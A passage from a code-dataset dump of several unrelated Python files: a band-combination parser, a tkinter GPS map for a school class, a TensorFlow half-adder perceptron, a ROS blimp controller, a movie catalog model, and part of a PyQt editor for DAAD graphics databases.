'').replace('A[20x4]A[20x1]', '').\\\n # replace('[100x4];A[100x1]', '').replace('C', '')\n if cc_limit == 2:\n bad_chars = ['C[2,2];A[1]', 'C[4,4];A[1]', 'C[2,2];C[1,1]', 'C[4,4];C[1,1]', 'C[4,4];C[1,1]',\n 'A[4];A[1]', 'A[2];A[1]',\n 'A[20x4];A[20x1]',\n 'A[100x4];A[100x1]']\n else:\n bad_chars = ['B1A[4]+', 'B28A[2]+', 'C[4,4];C[1,1]', 'C[4,4]', 'A[4];A[1]', 'A[2];A[1]', 'A[4]', 'A[2]',\n 'A[20x4];A[20x1]',\n 'A[100x4];A[100x1]']\n buffer_string = ''\n buffer_list = []\n combination_list = band_combination.split('+')\n generic_string = qualcomm_string\n qualcomm_list = qualcomm_string.split('+')\n for i in qualcomm_list:\n for every_char in bad_chars:\n i = i.replace(every_char, '')\n buffer_string += i + \"+\"\n buffer_list.append(i)\n buffer_string = buffer_string[:-1]\n\n def determine_two_list(list1, list2):\n return set(list1) == set(list2) and len(list1) == len(list2)\n # ret = determine_two_list(combination_list, buffer_list)\n if determine_two_list(combination_list, buffer_list):\n return qualcomm_string, True, generic_string\n else:\n print('{} ----{} is not matched'.format(qualcomm_string, band_combination))\n stripped_result = band_combination.replace('+', 'A+') + 'A'\n return stripped_result, False, generic_string\n\n\ndef read_python_config():\n f = open('PythonConfig.txt')\n content = f.read()\n filter_list = content.split('\\n')\n file_list = []\n output_file_name = filter_list[0]\n for_orbit = bool(filter_list[1])\n if filter_list[2] == 'False':\n file_list.append(filter_list[3])\n else:\n for i in range(3, len(filter_list) - 1):\n file_list.append(filter_list[i])\n return output_file_name, for_orbit, file_list\n\n\ndef read_antenna_csv_file(file_name):\n buffer_dict = {}\n df = pd.read_csv(file_name)\n for index, row_name in df.iterrows():\n endc_combination = row_name['ENDC_ComBo']\n lte_antenna = row_name['LTE_PRX']\n nr_antenna = row_name['NR_PRX']\n buffer_dict[endc_combination] = {}\n buffer_dict[endc_combination]['LTE_ANT'] = lte_antenna\n buffer_dict[endc_combination]['NR_ANT'] = nr_antenna\n return buffer_dict\n\n\n# def extract_custom_ant_mapping(lte_band, nr_band):\n# format_string = '{}+{}'.format(lte_band.replace('Band', 'B'), nr_band.replace('n', 'N'))\n# def get_dict_info\n\n\nif __name__ == \"__main__\":\n # get_nr_freq('N78', 'B100M', 'MU1', 'MID')\n # ret = check_overlapped_formula(847, 'BW10', 780.5, 'B30M')\n # read_python_config()\n ret = read_antenna_csv_file('ENDC_tx_ant.csv')\n pass\n","sub_path":"FTA_ENDC/extension_script.py","file_name":"extension_script.py","file_ext":"py","file_size_in_byte":17362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"555861103","text":"# SNT seconde\n# Thème Cartographie et localisation\n# \n# Utilisation d'un fichier de coordonnées GPS\n#\n#(C) Stéphane Colomban 2019 (CC : by - nc - sa)\n\n# coordonnées GPS de Paris et Marseille récupérées sur https://www.gps-longitude-latitude.net\n# Fichier .csv des coordonnées des villes de France récupéré sur : https://sql.sh/736-base-donnees-villes-francaises\n\n\n\nfrom tkinter import *\nimport csv \n\n#Création de l'objet Ville\nclass Ville:\n def __init__(self,nom,lat,lon):\n self.nom = nom\n self.lat = lat\n self.lon = lon\n \n \n def affiche(self):\n R=4\n canevas.create_oval(xx(self.lon)-R, yy(self.lat)-R, xx(self.lon)+R, yy(self.lat)+R, outline='blue', fill='blue')\n \n\n\n#Deux villes de référence nécessaires aux calculs:\n# latitudes et ordonnées écran\nlatMarseille = 43.2965\nyMarseille = 657\nlatParis = 48.8566\nyParis = 255\n\n# longitudes et abscisses écran\nlonMarseille = 5.3698\nxMarseille = 585\nlonParis = 2.3522\nxParis = 416\n\n# Remplissage de la liste des villes à partir du fichier .csv\nvilles=[]\nwith open(\"villes3.csv\",\"r\") as csvfile:\n fich = csv.reader(csvfile, delimiter=';', quotechar='\"')\n \n for row in fich:\n if (eval(row[2])>20000): # on ne garde que les villes de plus de 20000 habitants\n villes.append( Ville(row[1], eval(row[5].replace(',','.')) , eval(row[4].replace(',','.'))) )\n \n \n\n\nafficheCoordo=False\nafficheVilles=False\n\ndef yy(lat):\n \"\"\" donne les coord écran en fonction des coord GPS\"\"\"\n return yMarseille + (yParis - yMarseille) / (latParis - latMarseille) * (lat - latMarseille)\n \ndef xx(lon):\n \"\"\" donne les coord écran en fonction des coord GPS\"\"\"\n return xMarseille + (xParis - xMarseille) / (lonParis - lonMarseille) * (lon - lonMarseille)\n\n\ndef latitude(y):\n \"\"\" donne les coord GPS en fonction des coord écran\"\"\"\n lat = latMarseille + (latParis - latMarseille) / (yParis - yMarseille) * (y - yMarseille)\n return (int(lat * 1000) / 1000.)\n\ndef longitude(x):\n \"\"\" donne les coord GPS en fonction des coord écran\"\"\"\n lon = lonMarseille + (lonParis - lonMarseille) / (xParis - xMarseille) * (x - xMarseille)\n return (int(lon * 1000) / 1000.)\n\n\n\n######################## INTERFACE GRAPHIQUE ################################################\"\"\n\ndef actionBouton1():\n \"\"\" Actions du bouton 1\"\"\"\n global afficheVilles\n afficheVilles = not afficheVilles\n \n\ndef actionBouton2():\n \"\"\" Actions du bouton 2\"\"\"\n global afficheCoordo\n afficheCoordo = not afficheCoordo\n\ndef motion(event):\n \"\"\" Evénements liés à la souris \"\"\"\n x=event.x\n y=event.y\n if (afficheCoordo):\n canevas.delete(ALL)\n canevas.create_image(10,85,anchor=NW, image=img)\n canevas.create_line(0,y,760,y,fill='blue')\n canevas.create_line(x,40,x,780,fill='red')\n canevas.create_text(850,200, text=\"latitude =\"+ str(latitude(y)),fill='blue')\n canevas.create_text(850,250, text=\"longitude =\"+ str(longitude(x)),fill='red')\n \n if (afficheVilles):\n R=5\n for no in range(len(villes)):\n villes[no].affiche();\n \n\n##################################### \n# Création de l'interface graphique #\n##################################### \n# Création de la fenêtre principale \nroot = Tk()\nroot.title('Cartographie - SNT 2019')\n\n\n# Création d'un widget Canvas (zone graphique contenant le fond de carte)\nLARGEUR = 950\nHAUTEUR = 800\ncanevas = Canvas(root, width = LARGEUR, height = HAUTEUR, bg ='white')\nimg = PhotoImage(file=\"fond_FRANCE.png\")\ncanevas.create_image(5,85,anchor=NW, image=img)\ncanevas.pack(padx =5, pady =5)\n\n\n\n# Création d'un widget Button (bouton 1)\nbouton1 = Button(root, text ='Bouton1 : Affichage des villes principales', command = actionBouton1)\nbouton1.pack(side = LEFT, padx = 5, pady = 5)\n\n# Création d'un widget Button (bouton 2)\nbouton2 = Button(root, text ='Bouton2 : Affichage des coordonnées GPS', command = actionBouton2)\nbouton2.pack(side = LEFT, padx = 5, pady = 5)\n\n\n# Mise à jour de l'interface\nroot.bind('', motion)\nroot.mainloop()","sub_path":"cartographie_geolocalisation/localisationGPS/COURS/programmes_python/localisationGPS_V2.py","file_name":"localisationGPS_V2.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"367948100","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\n\n\"\"\"\n\n学习神经网络(二)\n\n半加器预测\n\n作者:Hua777\n\n\"\"\"\n\nimport tensorflow as TF\nimport random as RD\nimport numpy as NP\n\nfrom father.nn import NN\n\nclass Perceptron(NN):\n def __init__(self):\n super().__init__()\n self.SetModelName('Perceptron')\n self.SetEpochs(1)\n self.SetLearningRate(0.001)\n self.BuildNet(graph = True)\n \n def NetInternal(self):\n\n input_size = 2\n hidden_size = 8\n output_size = 2\n\n self.Input = TF.placeholder(TF.float32, [None, input_size], name = 'X_Y')\n self.Output = TF.placeholder(TF.float32, [None, output_size], name = 'carry_sum')\n\n self.Hidden = self.NewPerceptronLayer(self.Input, input_size, hidden_size, 'Hidden')\n\n self.PredOutput = self.NewPerceptronLayer(self.Hidden, hidden_size, output_size, 'Output', a_f = None)\n\n self.Loss = TF.reduce_mean(TF.abs(self.PredOutput - self.Output))\n self.Accuracy = (1.0 - TF.reduce_mean(TF.nn.sigmoid(TF.abs(self.PredOutput - self.Output)))) * 2.0\n\n self.Optimizer = TF.train.GradientDescentOptimizer(learning_rate = self.LearningRate)\n self.TrainOperation = self.Optimizer.minimize(self.Loss)\n\n self.RecordVariable(self.Loss, name = 'Loss')\n self.RecordVariable(self.Accuracy, name = 'Accuracy')\n\n def Train(self, x_y, carry_sum):\n feed_dict = {\n self.Input: x_y,\n self.Output: carry_sum\n }\n\n avg_loss = 0.0\n avg_accuracy = 0.0\n\n for __ in range(self.Epochs):\n _, loss, accuracy, summary = self.Session.run(\n [self.TrainOperation, self.Loss, self.Accuracy, self.Summary],\n feed_dict = feed_dict\n )\n self.AddSummary(summary)\n avg_loss += loss * 1.0 / self.Epochs\n avg_accuracy += accuracy * 1.0 / self.Epochs\n\n return avg_loss, avg_accuracy\n\n def Forward(self, x_y):\n feed_dict = {\n self.Input: x_y,\n }\n\n carry_sum = self.Session.run(\n [self.PredOutput],\n feed_dict = feed_dict\n )\n\n return carry_sum[0]\n\nif __name__ == \"__main__\":\n perceptron = Perceptron()\n\n half_adder_x_y = [[0.0, 0.0], [0.0, 1.0], [1.0, 0.0], [1.0, 1.0]]\n half_adder_carry_sum = [[0.0, 0], [0.0, 1.0], [0.0, 1.0], [1.0, 0.0]]\n\n def threshold(n):\n if n >= 0.5:\n return 1\n return 0\n\n def result_print(x_y, s_c):\n print('X', 'Y', 'C', 'S')\n for i in range(4):\n print(threshold(x_y[i][0]), threshold(x_y[i][1]), threshold(s_c[i][0]), threshold(s_c[i][1]))\n\n for i in range(20000):\n loss, accuracy = perceptron.Train(half_adder_x_y, half_adder_carry_sum)\n if (i + 1) % 1000 == 0:\n pred_carry_sum = perceptron.Forward(half_adder_x_y)\n print('==========================================================')\n print('第', i + 1, '次训练')\n print()\n print('真实答案')\n result_print(half_adder_x_y, half_adder_carry_sum)\n print()\n print('预测答案')\n result_print(half_adder_x_y, pred_carry_sum)\n print()\n print('Loss = ', '%.5f' % loss)\n print('Accuracy = ', ('%.2f' % (accuracy * 100)), '%')\n print('==========================================================')\n\n perceptron.CloseSession()","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"112988680","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped,Vector3\nfrom pid_controller import PID_Controller\nfrom std_msgs.msg import String\nfrom std_msgs.msg import Int8\nfrom std_msgs.msg import Float64\nimport time\nfrom tf.transformations import euler_from_quaternion\nfrom blimp import Blimp\nfrom sensor_msgs.msg import Imu\n\nclass Vel_control:\n def __init__(self):\n \n rospy.Subscriber(\"key\",String,self.velocity_set)\n\n\n\n rospy.Subscriber(\"/ultrasonic\",Float64,self.obstacle_control)\n\n\n self.blimp = Blimp()\n self.set_yaw = 90\n self.set_trans_x = 0\n self.set_trans_z = 0\n \n self.curr_yaw = 0\n self.curr_trans_x = 0\n self.curr_trans_z = 0\n \n yaw_kp = 0.8 #rospy.get_param(\"~yaw_kp\")\n yaw_ki = 0.8 #rospy.get_param(\"~yaw_ki\")\n yaw_kd = 0.8 #rospy.get_param(\"~yaw_kd\")\n \n self.yaw_control = PID_Controller(yaw_kp,yaw_ki,yaw_kd)\n \n \n def velocity_set(self,data):\n G=data.data\n G = G.split(\"-\")\n print(\"G\",G)\n velocity_SP = float(G[1])\n velocity_dir= G[0]\n \n\n\n \n if velocity_dir==\"F\":\n self.blimp.motors.forward(velocity_SP)\n if velocity_dir==\"B\":\n self.blimp.motors.backward(velocity_SP)\n \n if velocity_dir==\"U\":\n #time.sleep(2)\n self.blimp.motors.upward(velocity_SP)\n print(\"up:\",G)\n #time.sleep(2)\n\n if velocity_dir==\"E\":\n #time.sleep(2)\n\n self.blimp.motors.downward(velocity_SP)\n #time.sleep(2)\n \n if velocity_dir==\"S\":\n self.blimp.motors.forward_stop()\n self.blimp.motors.backward_stop()\n if velocity_dir==\"Q\": \n self.blimp.motors.upward_stop() \n self.blimp.motors.downward_stop() \n \n def obstacle_control(self,data):\n U=int(data.data)\n #print(U)\n\n\n if U<70:\n Obs_ahead = True\n print(\"entered if loop\")\n self.blimp.motors.forward_stop()\n self.blimp.motors.backward_stop()\n self.blimp.motors.upward_stop() \n self.blimp.motors.downward_stop() \n else:\n Obs_ahead = False\n\n\n\n\n\n\n\n\n\n\n","sub_path":"yaw_cntrl/src/velocity_control.py","file_name":"velocity_control.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"650047057","text":"from magma import Peripheral, wire\nfrom mantle.xilinx.spartan import BUFG\n\nclass Clock(Peripheral):\n name = 'clock'\n\n def __init__(self, fpga, frequency=None, name='clock'):\n Peripheral.__init__(self, fpga, name)\n\n self.basefreq = frequency\n self.freq = frequency\n\n def frequency(self, freq):\n self.freq = freq\n return self\n\n def on(self):\n Peripheral.on(self)\n return self\n\n def setup(self, main):\n if self.freq == self.basefreq:\n assert(main.CLKIN)\n bufg = BUFG()\n main.CLK = main.CLKIN\n wire(main.CLKIN, bufg.I)\n main.CLK = bufg.O\n\n return\n\n","sub_path":"loam/parts/xilinx/zynq/zynq/clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"32424772","text":" \n\"\"\"\n * Copyright 2020, Departamento de sistemas y Computación\n * Universidad de Los Andes\n *\n *\n * Desarrolado para el curso ISIS1225 - Estructuras de Datos y Algoritmos\n *\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n \"\"\"\nimport config\nfrom DISClib.ADT import list as lt\nfrom DISClib.ADT import map as mp\nfrom DISClib.DataStructures import mapentry as me\nassert config\n\n\"\"\"\nEn este archivo definimos los TADs que vamos a usar,\nes decir contiene los modelos con los datos en memoria\n\n\"\"\"\n\n# -----------------------------------------------------\n# API del TAD Catalogo de Libros\n# -----------------------------------------------------\n\ndef newCatalog():\n catalogo = {'peliculas': None, 'productoras': None, \"actores\": None, 'generos': None, 'paises':None} \n catalogo['peliculas'] = mp.newMap(numelements=349100,maptype='CHAINING', loadfactor=2, comparefunction=compareMovieId)\n catalogo['productoras'] = mp.newMap(numelements=36000,maptype='CHAINING', loadfactor=2, comparefunction=compareProductionCompanybyName)\n catalogo['actores'] = mp.newMap(numelements=261000,maptype='CHAINING', loadfactor=2, comparefunction=compareActorbyName)\n catalogo['generos'] = mp.newMap(numelements=50, maptype='PROBING',loadfactor=0.5, comparefunction=compareGenresbyName)\n catalogo['paises'] = mp.newMap(numelements=500,maptype='PROBING', loadfactor=0.5, comparefunction=compareCountriesbyName)\n return catalogo\n\ndef newProductionCompany(nombre):\n company = {'name': '', 'movies': None, 'average_rating': 0.0}\n company['name'] = nombre\n company['movies'] = lt.newList('SINGLE_LINKED', compareProductionCompanybyName)\n return company\n\ndef newActor(nombre):\n actor = {\"name\": \"\", \"movies\": None, 'average_rating': 0.0, 'directores': None}\n actor[\"name\"] = nombre\n actor[\"movies\"] = lt.newList('SINGLE_LINKED', compareMovieId)\n actor['directores'] = mp.newMap(numelements=1000,maptype='CHAINING', loadfactor=2, comparefunction=compareDirectorByname)\n return actor\n\ndef newGenre(genero):\n genre = {'genre': '', 'movies': None, 'vote_count': 0.0}\n genre['genre'] = genero\n genre['movies'] = lt.newList('SINGLE_LINKED', compareGenresbyName)\n return genre\n\ndef newCountry(pais):\n country = {'name': '', 'movies': None}\n country['name'] = pais\n country['movies'] = lt.newList('SINGLE_LINKED', compareCountriesbyName)\n return country\n\n# Funciones para agregar informacion al catalogo\n\ndef addMovie(catalogo, pelicula):\n mp.put(catalogo[\"peliculas\"], pelicula[\"id\"], pelicula)\n\ndef addCompanyMovie(catalogo, companyname, movie):\n companies = catalogo['productoras']\n esta = mp.contains(companies, companyname)\n if esta:\n entry = mp.get(companies, companyname)\n comp = me.getValue(entry)\n else:\n comp = newProductionCompany(companyname)\n mp.put(companies, companyname, comp)\n lt.addLast(comp['movies'], movie)\n rat_comp = comp['average_rating']\n num_mov = lt.size(comp['movies'])\n rat_peli = movie['vote_average']\n new_ave = round(((num_mov-1)*rat_comp+float(rat_peli))/(num_mov), 2)\n comp['average_rating'] = new_ave\n\ndef addActor(catalogo, actor, movie, casting):\n actores = catalogo[\"actores\"]\n esta = mp.contains(actores, actor)\n if esta:\n entry = mp.get(actores, actor)\n act = me.getValue(entry)\n else:\n act = newActor(actor)\n mp.put(actores, actor, act)\n lt.addLast(act[\"movies\"],movie)\n prom_act = act['average_rating']\n num_mov = lt.size(act['movies'])\n rat_peli = movie['vote_average']\n new_prom = round(((num_mov-1)*prom_act+float(rat_peli))/(num_mov), 2)\n act['average_rating'] = new_prom\n director = casting[\"director_name\"]\n if mp.contains(act['directores'], director):\n direct = mp.get(act[\"directores\"], director)\n valor = me.getValue(direct)\n valor+=1\n mp.put(act[\"directores\"], director, valor)\n else:\n valor = 0\n mp.put(act[\"directores\"], director, valor)\n direct = mp.get(act[\"directores\"], director)\n valor = me.getValue(direct)\n valor+=1\n mp.put(act[\"directores\"], director, valor)\n \n\ndef addGenreMovie(catalogo, nombre_genero, movie):\n genres = catalogo['generos']\n esta = mp.contains(genres, nombre_genero)\n if esta:\n entry = mp.get(genres, nombre_genero)\n genre = me.getValue(entry)\n else:\n genre = newGenre(nombre_genero)\n mp.put(genres, nombre_genero, genre)\n lt.addLast(genre['movies'], movie)\n count_genre = genre['vote_count']\n size_genre = lt.size(genre['movies'])\n count_movie = movie['vote_count']\n new_count = round(((size_genre-1)*count_genre+float(count_movie))/(size_genre), 2)\n genre['vote_count'] = new_count\n\ndef addCountryMovie(catalogo, ids, director):\n countries = catalogo['paises']\n movie = me.getValue(mp.get(catalogo['peliculas'], ids))\n nombre_pais = movie['production_countries'].lower()\n esta = mp.contains(countries, nombre_pais)\n if esta:\n entry = mp.get(countries, nombre_pais)\n country = me.getValue(entry)\n else:\n country = newCountry(nombre_pais)\n mp.put(countries, nombre_pais, country)\n info = {'nombre': movie['original_title'], 'director': director}\n lt.addLast(country['movies'], info)\n\n\n# ==============================\n# Funciones de consulta\n# ==============================\n\ndef moviesSize(catalogo):\n return lt.size(catalogo[\"peliculas\"])\n\ndef companiesSize(catalogo):\n return mp.size(catalogo['productoras'])\n\ndef genresSize(catalogo):\n return mp.size(catalogo['generos'])\n\ndef getMoviesbyCompany(catalogo, company_name):\n comp = mp.get(catalogo[\"productoras\"], company_name)\n if comp is not None:\n return me.getValue(comp)\n return None\n\ndef getActor_information(catalogo, actor_name):\n actor_entry = mp.get(catalogo[\"actores\"], actor_name)\n if actor_entry is not None:\n return me.getValue(actor_entry)\n return None\n\ndef getMoviesbyGenre(catalogo, genre):\n gen = mp.get(catalogo['generos'], genre)\n if gen is not None:\n return me.getValue(gen)\n return None\n\ndef getMoviesbyCountry(catalogo, country):\n coun = mp.get(catalogo['paises'], country)\n if coun is not None:\n return me.getValue(coun)\n return None\n\n# ==============================\n# Funciones de Comparacion\n# ============================== \n\n \n\ndef compareMovieId(id_1, id_2):\n entryname = me.getKey(id_2)\n if id_1 == entryname:\n return 0\n elif id_1 > entryname:\n return 1\n else:\n return -1\ndef compareProductionCompanybyName(name, company):\n entryname = me.getKey(company)\n if name == entryname:\n return 0\n elif name > entryname:\n return 1\n else:\n return -1\n\ndef compareDirectorByname(name, director):\n entryname = me.getKey(director)\n if name == entryname:\n return 0\n elif name > entryname:\n return 1\n else:\n return -1\n\ndef compareActorbyName(name, actor):\n entryname = me.getKey(actor)\n if name == entryname:\n return 0\n elif name > entryname:\n return 1\n else:\n return -1\n\ndef compareGenresbyName(genre_name, genre_element):\n entry_name = me.getKey(genre_element)\n if genre_name == entry_name:\n return 0\n elif genre_name > entry_name:\n return 1\n else:\n return -1\n\ndef compareCountriesbyName(country_name, country_element):\n entry_name = me.getKey(country_element)\n if country_name == entry_name:\n return 0\n elif country_name > entry_name:\n return 1\n else:\n return -1","sub_path":"App/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"593119755","text":"#!/usr/bin/env python\n# -*- coding: iso-8859-15 -*-\n\n# NAPS: The New Age PAW-like System - Herramientas para sistemas PAW-like\n#\n# Editor de bases de datos gráficas de DAAD\n# Copyright (C) 2022-2023 José Manuel Ferrer Ortiz\n#\n# *****************************************************************************\n# * *\n# * This program is free software; you can redistribute it and/or modify it *\n# * under the terms of the GNU General Public License version 2, as *\n# * published by the Free Software Foundation. *\n# * *\n# * This program is distributed in the hope that it will be useful, but *\n# * WITHOUT ANY WARRANTY; without even the implied warranty of *\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *\n# * General Public License version 2 for more details. *\n# * *\n# * You should have received a copy of the GNU General Public License *\n# * version 2 along with this program; if not, write to the Free Software *\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *\n# * *\n# *****************************************************************************\n\nimport math\nimport os\nimport sys\n\ntry:\n from PyQt4.QtCore import *\n from PyQt4.QtGui import *\nexcept:\n from PyQt5.QtCore import *\n from PyQt5.QtGui import *\n from PyQt5.QtWidgets import *\n\nimport graficos_daad\n\n\nacc_exportar = None # Acción de exportar base de datos gráfica\ndlg_abrir = None # Diálogo de abrir imagen\ndlg_exportar = None # Diálogo de exportar base de datos gráfica\ndlg_importar = None # Diálogo de importar base de datos gráfica\ndlg_guardar = None # Diálogo de guardar imagen\n\nfiltro_img_def = 1 # Índice en filtros_img del formato de imagen por defecto\nfiltros_img = (('Imágenes BMP', ['bmp'])), ('Imágenes PNG', ['png']) # Filtros de formatos de imagen soportados para abrir y guardar\n\n\nclass Recurso (QPushButton):\n \"\"\"Botón para cada recurso\"\"\"\n def __init__ (self, numRecurso, imagen = None):\n if imagen:\n super (Recurso, self).__init__ (QIcon (QPixmap (imagen)), str (numRecurso))\n self.setIconSize (imagen.rect().size())\n else:\n super (Recurso, self).__init__ (str (numRecurso))\n self.imagen = imagen\n self.numRecurso = numRecurso\n\n def contextMenuEvent (self, evento):\n contextual = QMenu (self)\n if self.imagen:\n accImgExportar = QAction ('&Exportar imagen', contextual)\n accImgSustituir = QAction ('&Sustituir imagen', contextual)\n accImgExportar.triggered.connect (self.exportarImagen)\n accImgSustituir.triggered.connect (self.importarImagen)\n contextual.addAction (accImgExportar)\n contextual.addAction (accImgSustituir)\n else:\n accImgAnyadir = QAction ('&Añadir imagen', contextual)\n accImgAnyadir.triggered.connect (self.importarImagen)\n contextual.addAction (accImgAnyadir)\n contextual.exec_ (evento.globalPos())\n\n def exportarImagen (self):\n global dlg_guardar\n filtro = []\n for descripcion, extensiones in filtros_img:\n filtro.append (descripcion + ' (*.' + ' *.'.join (extensiones) + ')')\n if not dlg_guardar: # Diálogo no creado aún\n dlg_guardar = QFileDialog (ventana, 'Exportar imagen', os.curdir, ';;'.join (filtro))\n dlg_guardar.setAcceptMode (QFileDialog.AcceptSave)\n dlg_guardar.setLabelText (QFileDialog.LookIn, 'Lugares')\n dlg_guardar.setLabelText (QFileDialog.FileName, '&Nombre:')\n dlg_guardar.setLabelText (QFileDialog.FileType, 'Filtro:')\n dlg_guardar.setLabelText (QFileDialog.Accept, '&Guardar')\n dlg_guardar.setLabelText (QFileDialog.Reject, '&Cancelar')\n dlg_guardar.setOption (QFileDialog.DontConfirmOverwrite)\n dlg_guardar.setOption (QFileDialog.DontUseNativeDialog)\n dlg_guardar.selectNameFilter (filtro[filtro_img_def]) # Elegimos el formato por defecto\n if dlg_guardar.exec_(): # No se ha cancelado\n indiceFiltro = list (dlg_guardar.nameFilters()).index (dlg_guardar.selectedNameFilter())\n nombreFichero = (str if sys.version_info[0] > 2 else unicode) (dlg_guardar.selectedFiles()[0])\n extension = '.' + filtros_img[indiceFiltro][1][0]\n if nombreFichero[- len (extension):].lower() != extension:\n nombreFichero += extension\n if os.path.isfile (nombreFichero):\n dlgSiNo = QMessageBox (ventana)\n dlgSiNo.addButton ('&Sí', QMessageBox.YesRole)\n dlgSiNo.addButton ('&No', QMessageBox.NoRole)\n dlgSiNo.setIcon (QMessageBox.Warning)\n dlgSiNo.setWindowTitle ('Sobreescritura')\n dlgSiNo.setText ('Ya existe un fichero con ruta y nombre:\\n\\n' + nombreFichero)\n dlgSiNo.setInformativeText ('\\n¿Quieres sobreescribirlo?')\n if dlgSiNo.exec_() != 0: # No se ha pulsado el botón Sí\n return\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n self.imagen.save (nombreFichero)\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n\n def importarImagen (self):\n global dlg_abrir\n extSoportadas = [] # Todas las extensiones de imágenes soportadas\n filtro = []\n for descripcion, extensiones in filtros_img:\n filtro.append (descripcion + ' (*.' + ' *.'.join (extensiones) + ')')\n extSoportadas.extend (extensiones)\n filtro.append ('Todas las imágenes soportadas (*.' + ' *.'.join (extSoportadas) + ')')\n if not dlg_abrir: # Diálogo no creado aún\n dlg_abrir = QFileDialog (ventana, 'Abrir imagen', os.curdir, ';;'.join (filtro))\n dlg_abrir.setFileMode (QFileDialog.ExistingFile)\n dlg_abrir.setLabelText (QFileDialog.LookIn, 'Lugares')\n dlg_abrir.setLabelText (QFileDialog.FileName, '&Nombre:')\n dlg_abrir.setLabelText (QFileDialog.FileType, 'Filtro:')\n dlg_abrir.setLabelText (QFileDialog.Accept, '&Abrir')\n dlg_abrir.setLabelText (QFileDialog.Reject, '&Cancelar')\n dlg_abrir.setOption (QFileDialog.DontUseNativeDialog)\n dlg_abrir.selectNameFilter (filtro[len (filtro) - 1]) # Elegimos el filtro de todas las imágenes soportadas\n if dlg_abrir.exec_(): # No se ha cancelado\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n nombreFichero = (str if sys.version_info[0] > 2 else unicode) (dlg_abrir.selectedFiles()[0])\n imagen = QImage (nombreFichero)\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n if imagen.isNull():\n muestraFallo ('No se puede abrir la imagen del fichero:\\n' + nombreFichero)\n return\n if imagen.height() + imagen.width() < 1:\n muestraFallo ('Dimensiones inválidas', 'La imagen elegida (' + nombreFichero + u') tiene dimensiones inválidas, tanto su ancho como su alto debería ser mayor que cero')\n return\n if imagen.height() > graficos_daad.resolucion_por_modo[graficos_daad.modo_gfx][1]:\n muestraFallo ('Altura de imagen excesiva', 'La imagen elegida (' + nombreFichero + ') tiene ' + str (imagen.height()) + u' píxeles de alto, mientras que el modo ' + graficos_daad.modo_gfx + u' de la base de datos gráfica sólo soporta hasta ' + str (graficos_daad.resolucion_por_modo[graficos_daad.modo_gfx][1]))\n return\n if imagen.width() > graficos_daad.resolucion_por_modo[graficos_daad.modo_gfx][0]:\n muestraFallo ('Anchura de imagen excesiva', 'La imagen elegida (' + nombreFichero + ') tiene ' + str (imagen.width()) + u' píxeles de ancho, mientras que el modo ' + graficos_daad.modo_gfx + u' de la base de datos gráfica sólo soporta hasta ' + str (graficos_daad.resolucion_por_modo[graficos_daad.modo_gfx][0]))\n return\n if imagen.height() % 8:\n muestraFallo ('Altura de imagen incorrecta', 'La imagen elegida (' + nombreFichero + ') tiene ' + str (imagen.height()) + u' píxeles de alto, cuando debería ser múltiplo de 8')\n return\n if imagen.width() % 8:\n muestraFallo ('Anchura de imagen incorrecta', 'La imagen elegida (' + nombreFichero + ') tiene ' + str (imagen.width()) + u' píxeles de ancho, cuando debería ser múltiplo de 8')\n return\n if imagen.depth() > 8: # No usa paleta indexada\n # Calculamos el número de colores que tiene\n coloresUsados = set()\n ventana.setCursor (Qt.WaitCursor) # Puntero de ratón de espera\n for fila in range (imagen.height()):\n for columna in range (imagen.width()):\n coloresUsados.add (imagen.pixel (columna, fila))\n ventana.setCursor (Qt.ArrowCursor) # Puntero de ratón normal\n numColores = len (coloresUsados)\n coloresUsados = list (coloresUsados)\n else:\n coloresUsados = imagen.colorTable()\n numColores = imagen.colorCount()\n if numColores > graficos_daad.colores_por_modo[graficos_daad.modo_gfx]:\n muestraFallo ('Advertencia: número de colores elevado', 'La imagen elegida (' + nombreFichero + ') utiliza ' + str (numColores) + ' colores diferentes, mientras que el modo ' + graficos_daad.modo_gfx + u' de la base de datos gráfica sólo soporta ' + str (graficos_daad.colores_por_modo[graficos_daad.modo_gfx]))\n if self.imagen and graficos_daad.recurso_es_unico (self.numRecurso):\n dlgSiNo = QMessageBox (ventana)\n dlgSiNo.addButton ('&Sí', QMessageBox.YesRole)\n dlgSiNo.addButton ('&No', QMessageBox.NoRole)\n dlgSiNo.setIcon (QMessageBox.Warning)\n dlgSiNo.setWindowTitle ('Sustituir imagen')\n dlgSiNo.setText ('Esta imagen no es utilizada por ningún otro recurso')\n dlgSiNo.setInformativeText ('\\n¿Seguro que quieres sustituirla por la imagen del fichero elegido?')\n if dlgSiNo.exec_() != 0: # No se ha pulsado el botón Sí\n return\n paletas = graficos_daad.da_paletas_del_formato()\n if len (paletas) > 1:\n muestraFallo ('No implementado', 'El formato de base de datos gráfica soporta más de un modo gráfico, y la selección de colores 